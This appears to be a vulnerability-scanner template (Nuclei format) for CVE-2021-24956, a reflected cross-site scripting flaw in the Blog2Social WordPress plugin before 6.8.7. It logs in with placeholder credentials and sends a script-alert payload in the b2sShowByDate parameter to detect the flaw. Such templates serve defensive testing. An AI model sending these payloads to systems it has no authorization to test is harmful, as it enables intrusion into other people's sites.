51 lines
1.4 KiB
YAML
51 lines
1.4 KiB
YAML
id: CVE-2021-24956
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info:
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name: Blog2Social < 6.8.7 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
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remediation: Fixed in version 6.8.7
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reference:
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- https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24956
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classification:
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cve-id: CVE-2021-24956
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metadata:
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max-request: 2
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verified: true
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tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script> HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<script>alert(document.domain)</script>" name='
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- 'Your Activity'
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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